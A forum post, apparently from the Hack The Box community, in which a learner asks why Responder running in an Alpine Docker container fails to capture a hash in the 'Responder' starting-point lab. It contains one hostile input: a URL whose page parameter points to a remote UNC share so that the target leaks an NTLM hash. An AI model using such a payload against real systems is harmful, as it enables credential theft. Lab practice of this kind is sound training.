Starting point : responder through Docker / Podman

Hi !

I’m doing the Responder starting point on LFI.
I’m using fedora 38 and to be able to manage my htb environment and not pollute my os with a different tools I would like to create a Docker / Podman environment.

So I’ve made :

  • vpn connexion done on fedora
  • an Alpine Docker
  • installed python3 and py-netifaces
  • ran Responder through the Docker interface eth0
  • get the Responder ip : 172.17.0.2

When I navigate to the address : http://unika.htb/?page=//172.17.0.2/somefile Responder does not catch the request and I’m not able to get the hash. It works if I use Responder in fedora

How can I catch the request from my browser inside a docker instance ?